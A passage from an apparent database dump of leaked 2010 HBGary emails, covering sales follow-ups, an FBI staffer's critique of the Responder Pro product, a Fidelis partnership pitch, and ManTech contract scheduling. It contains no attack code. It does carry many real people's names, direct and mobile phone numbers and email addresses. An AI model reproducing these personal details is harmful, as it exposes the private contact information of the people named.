\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI was just having a conversation with our west commercial\r\nrep, Toby Richardson (copied), regarding a commercial opportunity he&#8217;s been\r\nworking. They love the Fidelis platform but don&#8217;t really have an\r\nIR/forensic team of their own per se (although there was one guy at BH). Evidently,\r\nthe CISO knows and admires HB Gary, although I don&#8217;t know if they own any.\r\nThat triggered the thought that perhaps we could discuss an engagement where\r\nthe customer buys our solution wrapped with &nbsp;a service from you, to help\r\nget some &#8220;intelligence&#8221; into their Fidelis system about the nature\r\nof the threat.\r\n\r\n&nbsp;\r\n\r\nCan the three of us hop on a call tomorrow and discuss this?\r\nI&#8217;m free anytime but 2. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nMary\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3257,'aaron_hbgary_com/3257.html'),(9791,'2010-08-05','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297007698.M843899P14101Q4646.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Thursday','Can we talk Fri?\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 11:43 AM\r\nTo: Eifert, Eric J.\r\nSubject: Thursday\r\n\r\nEric,\r\n\r\nAlso I am meeting with Bob on Thursday.  Do you want to get together this week and talk about social media?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',13741,'aaron_hbgary_com/13741.html'),(9792,'2010-08-05','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007699.M242506P14101Q4648.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,','FBI SOC Feedback from Responder Pro Evaluation','please read below.\r\n \r\nNick Handy is the government guy.  The malware folks are contractors -- I recall Aaron said their contract is up for recompete -- \r\n---------- Forwarded message ----------From: Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt;\r\nDate: Thu, Aug 5, 2010 at 1:54 PMSubject: RE: HBGary follow upTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nThe Malware guys thought there was just too much to sort through with DDNA scoring and not enough smoking guns I guess.  Especially, since they had figured out what it already did and knew what to look for and didn’t see it appear in the DDNA.  That’s really all I can say.\r\n\r\n \r\nPersonally, I like the concept for our forensic guys (like myself) and  a few others with the scoring but other free tools like Audit Viewer help us get by right now.  Like I said, if it wasn’t so pricey it might have more potential but it’s going to be tough for me to convince the powers that be to purchase it, especially if the majority of the team doesn’t like it. \r\n\r\n \r\nThe other thing that I noticed that I didn’t like was going through DDNA a lot of it seems to be “this could be used for,”  not this is used for.  So, its basically like saying “this might be bad, but might not be either,” so it can be a bit frustrating. Especially when you are trying to sort through what you should be prioritizing to look at. \r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Thursday, August 05, 2010 4:35 PM\r\nTo: Handy, Nicholas E.Subject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nNick\r\n\r\n \r\n\r\nThank you for the update.  Can you tell me where we fell short on the results?\r\n\r\n \r\n\r\nWas it the DDNA scoring / specific features like REcon / user interface etc.  It would be very helpful for us to know so that we know how to prioritize our efforts to improve the product.\r\n\r\n \r\n\r\nMaria\r\n\r\nOn Thu, Aug 5, 2010 at 1:29 PM, Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt; wrote:\r\n\r\n\r\nWe tested it out a bit, but not as much as we would of liked too due to other circumstances. We did test it out on a couple of unique samples but honestly our guys just weren’t happy with the results.\r\n\r\n \r\nThe price is just too steep for us right now. If things change, I’ll let you know.\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Thursday, August 05, 2010 3:48 PM\r\nTo: Handy, Nicholas E.Subject: HBGary follow up\r\n\r\n\r\n \r\n\r\nHi Nick\r\n\r\n \r\n\r\nDo you have any feedback yet from your evaluation of Responder Pro?\r\n\r\n \r\n\r\nAlso, do you know if you will be purchasing a copy of Responder Pro this fiscal year?  I need to update my sales forecast and appreciate your help,\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',16875,'aaron_hbgary_com/16875.html'),(9793,'2010-08-05','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297007699.M42206P14101Q4647.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Fouche, Tim R\" <Tim.Fouche@ManTech.com>,\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>','RE: Tsa and social media','Tim Fouche and Lynda Burroughs\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 11:21 AM\r\nTo: Eifert, Eric J.\r\nSubject: Re: Tsa and social media\r\n\r\nEric,\r\n\r\nWho handles TSA for you?  DigitalManagement would like to talk with\r\nyou about teaming with Mantech for this effort.  It\'s a smb set aside.\r\n It\'s a quick turn so they would like to talk soon.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Thursday, July 22, 2010, Eifert, Eric J.  wrote:\r\n> We can catch up then, are you guys considered a small business?\r\n>\r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, July 21, 2010 5:09 PM\r\n> To: Eifert, Eric J.\r\n> Subject: Tsa and social media\r\n>\r\n> Great.\r\n>\r\n> Attached is the TSA RFI.  I will be out until after blackhat.  So anytime after Aug. 1st I can support.\r\n>\r\n> Aaron\r\n>\r\n>\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',15834,'aaron_hbgary_com/15834.html'),(9794,'2010-08-05','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007699.M513968P14101Q4649.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','Re: FBI SOC Feedback from Responder Pro Evaluation','Mantech just won the recompete.AaronSent from my iPadOn Aug 5, 2010, at 5:24 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:please read below.\r\n&nbsp;\r\nNick Handy is the government guy.&nbsp; The malware folks are contractors -- I recall Aaron said their contract is up for recompete -- \r\n---------- Forwarded message ----------From: Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt;\r\nDate: Thu, Aug 5, 2010 at 1:54 PMSubject: RE: HBGary follow upTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nThe Malware guys thought there was just too much to sort through with DDNA scoring and not enough smoking guns I guess.&nbsp; Especially, since they had figured out what it already did and knew what to look for and didn’t see it appear in the DDNA.&nbsp; That’s really all I can say.\r\n\r\n&nbsp;\r\nPersonally, I like the concept for our forensic guys (like myself) and&nbsp; a few others with the scoring but other free tools like Audit Viewer help us get by right now.&nbsp; Like I said, if it wasn’t so pricey it might have more potential but it’s going to be tough for me to convince the powers that be to purchase it, especially if the majority of the team doesn’t like it. \r\n\r\n&nbsp;\r\nThe other thing that I noticed that I didn’t like was going through DDNA a lot of it seems to be “this could be used for,”&nbsp; not this is used for.&nbsp; So, its basically like saying “this might be bad, but might not be either,” so it can be a bit frustrating. Especially when you are trying to sort through what you should be prioritizing to look at. \r\n\r\n&nbsp;\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Thursday, August 05, 2010 4:35 PM\r\nTo: Handy, Nicholas E.Subject: Re: HBGary follow up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNick\r\n\r\n&nbsp;\r\n\r\nThank you for the update.&nbsp; Can you tell me where we fell short on the results?\r\n\r\n&nbsp;\r\n\r\nWas it the DDNA scoring / specific features&nbsp;like REcon / user interface etc.&nbsp; It would be very helpful for us to know so that we know how to prioritize our efforts to improve the product.\r\n\r\n&nbsp;\r\n\r\nMaria\r\n\r\nOn Thu, Aug 5, 2010 at 1:29 PM, Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt; wrote:\r\n\r\n\r\nWe tested it out a bit, but not as much as we would of liked too due to other circumstances. We did test it out on a couple of unique samples but honestly our guys just weren’t happy with the results.\r\n\r\n&nbsp;\r\nThe price is just too steep for us right now. If things change, I’ll let you know.\r\n&nbsp;\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Thursday, August 05, 2010 3:48 PM\r\nTo: Handy, Nicholas E.Subject: HBGary follow up\r\n\r\n\r\n&nbsp;\r\n\r\nHi Nick\r\n\r\n&nbsp;\r\n\r\nDo you have any feedback yet from your evaluation of Responder Pro?\r\n\r\n&nbsp;\r\n\r\nAlso, do you know if you will be purchasing a copy of Responder Pro this fiscal year?&nbsp; I need to update my sales forecast and appreciate your help,\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',14066,'aaron_hbgary_com/14066.html'),(9795,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007699.M736850P14101Q4650.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: Thursday','Sure.  Want to do that in person or over the phone?  I can do either.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 5, 2010, at 5:08 PM, \"Eifert, Eric J.\"  wrote:\r\n\r\n> Can we talk Fri?\r\n> \r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n> \r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 11:43 AM\r\n> To: Eifert, Eric J.\r\n> Subject: Thursday\r\n> \r\n> Eric,\r\n> \r\n> Also I am meeting with Bob on Thursday.  Do you want to get together this week and talk about social media?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n',11983,'aaron_hbgary_com/11983.html'),(9796,'2010-08-05','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007699.M931025P14101Q4651.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>,,,','Re: FBI SOC Feedback from Responder Pro Evaluation','who was the incumbent?\r\nOn Thu, Aug 5, 2010 at 2:43 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nMantech just won the recompete.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 5:24 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nplease read below.\r\n \r\nNick Handy is the government guy.  The malware folks are contractors -- I recall Aaron said their contract is up for recompete -- \r\n---------- Forwarded message ----------From: Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt;\r\nDate: Thu, Aug 5, 2010 at 1:54 PMSubject: RE: HBGary follow upTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\nThe Malware guys thought there was just too much to sort through with DDNA scoring and not enough smoking guns I guess.  Especially, since they had figured out what it already did and knew what to look for and didn’t see it appear in the DDNA.  That’s really all I can say.\r\n\r\n \r\nPersonally, I like the concept for our forensic guys (like myself) and  a few others with the scoring but other free tools like Audit Viewer help us get by right now.  Like I said, if it wasn’t so pricey it might have more potential but it’s going to be tough for me to convince the powers that be to purchase it, especially if the majority of the team doesn’t like it. \r\n\r\n \r\nThe other thing that I noticed that I didn’t like was going through DDNA a lot of it seems to be “this could be used for,”  not this is used for.  So, its basically like saying “this might be bad, but might not be either,” so it can be a bit frustrating. Especially when you are trying to sort through what you should be prioritizing to look at. \r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Thursday, August 05, 2010 4:35 PMTo: Handy, Nicholas E.Subject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nNick\r\n\r\n \r\n\r\nThank you for the update.  Can you tell me where we fell short on the results?\r\n\r\n \r\n\r\nWas it the DDNA scoring / specific features like REcon / user interface etc.  It would be very helpful for us to know so that we know how to prioritize our efforts to improve the product.\r\n\r\n \r\n\r\nMaria\r\n\r\nOn Thu, Aug 5, 2010 at 1:29 PM, Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt; wrote:\r\n\r\n\r\n\r\nWe tested it out a bit, but not as much as we would of liked too due to other circumstances. We did test it out on a couple of unique samples but honestly our guys just weren’t happy with the results.\r\n\r\n \r\nThe price is just too steep for us right now. If things change, I’ll let you know.\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Thursday, August 05, 2010 3:48 PMTo: Handy, Nicholas E.Subject: HBGary follow up\r\n\r\n\r\n \r\n\r\nHi Nick\r\n\r\n \r\n\r\nDo you have any feedback yet from your evaluation of Responder Pro?\r\n\r\n \r\n\r\nAlso, do you know if you will be purchasing a copy of Responder Pro this fiscal year?  I need to update my sales forecast and appreciate your help,\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',10281,'aaron_hbgary_com/10281.html'),(9797,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007703.M843616P14101Q4652.eml','\"Barr Aaron\" <aaron@hbgary.com>','Brochure','Attached in Pages format...\r\n\r\n',3803,'aaron_hbgary_com/3803.html'),(9798,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007707.M678431P14101Q4653.eml','\"Barr Aaron\" <aaron@hbgary.com>','Oops -- I sent the wrong one...','This is the latest one.  Need to tweak it and finalize...-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',662,'aaron_hbgary_com/662.html'),(9799,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007708.M232203P14101Q4655.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: Thursday','No I won\'t be any where near manassas.  Ok I will give you a call.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 5, 2010, at 6:59 PM, \"Eifert, Eric J.\"  wrote:\r\n\r\n> Unless you will be out near Manassas it will need to be via phone.  Anytime between noon and 3.\r\n> \r\n> Thanks,\r\n> \r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n> \r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 05, 2010 5:53 PM\r\n> To: Eifert, Eric J.\r\n> Subject: Re: Thursday\r\n> \r\n> Sure.  Want to do that in person or over the phone?  I can do either.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 5, 2010, at 5:08 PM, \"Eifert, Eric J.\"  wrote:\r\n> \r\n>> Can we talk Fri?\r\n>> \r\n>> Eric J. Eifert\r\n>> Vice President, Cyber Defense Solutions Business Unit\r\n>> ManTech Mission, Cyber and Technology Solutions\r\n>> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n>> \r\n>> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, August 03, 2010 11:43 AM\r\n>> To: Eifert, Eric J.\r\n>> Subject: Thursday\r\n>> \r\n>> Eric,\r\n>> \r\n>> Also I am meeting with Bob on Thursday.  Do you want to get together this week and talk about social media?\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n',13587,'aaron_hbgary_com/13587.html'),(9800,'2010-08-05','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297007708.M37709P14101Q4654.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Thursday','Unless you will be out near Manassas it will need to be via phone.  Anytime between noon and 3.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 5:53 PM\r\nTo: Eifert, Eric J.\r\nSubject: Re: Thursday\r\n\r\nSure.  Want to do that in person or over the phone?  I can do either.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 5, 2010, at 5:08 PM, \"Eifert, Eric J.\"  wrote:\r\n\r\n> Can we talk Fri?\r\n> \r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n> \r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 11:43 AM\r\n> To: Eifert, Eric J.\r\n> Subject: Thursday\r\n> \r\n> Eric,\r\n> \r\n> Also I am meeting with Bob on Thursday.  Do you want to get together this week and talk about social media?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n',6147,'aaron_hbgary_com/6147.html'),(9801,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007708.M430265P14101Q4656.eml','\"Ted Vera\" <ted@hbgary.com>','FBI esoc','Can u ask GD who is the oncumbant.\r\n\r\nSent from my iPhone\r\n',4811,'aaron_hbgary_com/4811.html'),(9802,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007708.M631438P14101Q4657.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FBI esoc','I guess. Why?\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 5:09 PM, Aaron Barr  wrote:\r\n\r\n> Can u ask GD who is the oncumbant.\r\n>\r\n> Sent from my iPhone\r\n',7520,'aaron_hbgary_com/7520.html'),(9803,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007708.M863234P14101Q4658.eml','\"Ted Vera\" <ted@hbgary.com>','Re: FBI esoc','Just curious.  Maria would like to know.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 5, 2010, at 7:10 PM, Ted Vera  wrote:\r\n\r\n> I guess. Why?\r\n> \r\n> \r\n> \r\n> On Aug 5, 2010, at 5:09 PM, Aaron Barr  wrote:\r\n> \r\n>> Can u ask GD who is the oncumbant.\r\n>> \r\n>> Sent from my iPhone\r\n',11337,'aaron_hbgary_com/11337.html'),(9804,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007709.M111347P14101Q4659.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FBI esoc','I\'m not sure there was an incumbent, based on the FBI press release\r\nyesterday announcing a new ESOC.  I\'ll ask Michelle.\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 5:15 PM, Aaron Barr  wrote:\r\n\r\n> Just curious.  Maria would like to know.\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Aug 5, 2010, at 7:10 PM, Ted Vera  wrote:\r\n>\r\n>> I guess. Why?\r\n>>\r\n>>\r\n>>\r\n>> On Aug 5, 2010, at 5:09 PM, Aaron Barr  wrote:\r\n>>\r\n>>> Can u ask GD who is the oncumbant.\r\n>>>\r\n>>> Sent from my iPhone\r\n',2958,'aaron_hbgary_com/2958.html'),(9805,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007709.M381110P14101Q4660.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FBI esoc','Press Release:  http://www.fbi.gov/pressrel/pressrel03/hans081403.htm---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Thu, Aug 5, 2010 at 5:17 PMSubject: Re: FBI esocTo: Aaron Barr &lt;aaron@hbgary.com&gt;I&#39;m not sure there was an incumbent, based on the FBI press release\r\n\r\nyesterday announcing a new ESOC.  I&#39;ll ask Michelle.\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 5:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n&gt; Just curious.  Maria would like to know.\r\n&gt;\r\n&gt; Sent from my iPhone\r\n&gt;\r\n&gt; On Aug 5, 2010, at 7:10 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;\r\n&gt;&gt; I guess. Why?\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Aug 5, 2010, at 5:09 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; Can u ask GD who is the oncumbant.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Sent from my iPhone\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',5491,'aaron_hbgary_com/5491.html'),(9806,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007709.M672333P14101Q4661.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: FBI SOC Feedback from Responder Pro Evaluation','Sent from my iPhoneBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;Date: August 5, 2010 6:20:12 PM EDTTo: Aaron barr &lt;aaron@hbgary.com&gt;Cc: Rich Cummings &lt;rich@hbgary.com&gt;, Phil Wallisch &lt;phil@hbgary.com&gt;, Joe Pizzo &lt;joe@hbgary.com&gt;,&nbsp; \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;Subject: Re: FBI SOC Feedback from Responder Pro Evaluationwho was the incumbent?\r\nOn Thu, Aug 5, 2010 at 2:43 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nMantech just won the recompete.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 5:24 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nplease read below.\r\n&nbsp;\r\nNick Handy is the government guy.&nbsp; The malware folks are contractors -- I recall Aaron said their contract is up for recompete -- \r\n---------- Forwarded message ----------From: Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt;\r\nDate: Thu, Aug 5, 2010 at 1:54 PMSubject: RE: HBGary follow upTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\nThe Malware guys thought there was just too much to sort through with DDNA scoring and not enough smoking guns I guess.&nbsp; Especially, since they had figured out what it already did and knew what to look for and didn’t see it appear in the DDNA.&nbsp; That’s really all I can say.\r\n\r\n&nbsp;\r\nPersonally, I like the concept for our forensic guys (like myself) and&nbsp; a few others with the scoring but other free tools like Audit Viewer help us get by right now.&nbsp; Like I said, if it wasn’t so pricey it might have more potential but it’s going to be tough for me to convince the powers that be to purchase it, especially if the majority of the team doesn’t like it. \r\n\r\n&nbsp;\r\nThe other thing that I noticed that I didn’t like was going through DDNA a lot of it seems to be “this could be used for,”&nbsp; not this is used for.&nbsp; So, its basically like saying “this might be bad, but might not be either,” so it can be a bit frustrating. Especially when you are trying to sort through what you should be prioritizing to look at. \r\n\r\n&nbsp;\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Thursday, August 05, 2010 4:35 PMTo: Handy, Nicholas E.Subject: Re: HBGary follow up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNick\r\n\r\n&nbsp;\r\n\r\nThank you for the update.&nbsp; Can you tell me where we fell short on the results?\r\n\r\n&nbsp;\r\n\r\nWas it the DDNA scoring / specific features&nbsp;like REcon / user interface etc.&nbsp; It would be very helpful for us to know so that we know how to prioritize our efforts to improve the product.\r\n\r\n&nbsp;\r\n\r\nMaria\r\n\r\nOn Thu, Aug 5, 2010 at 1:29 PM, Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt; 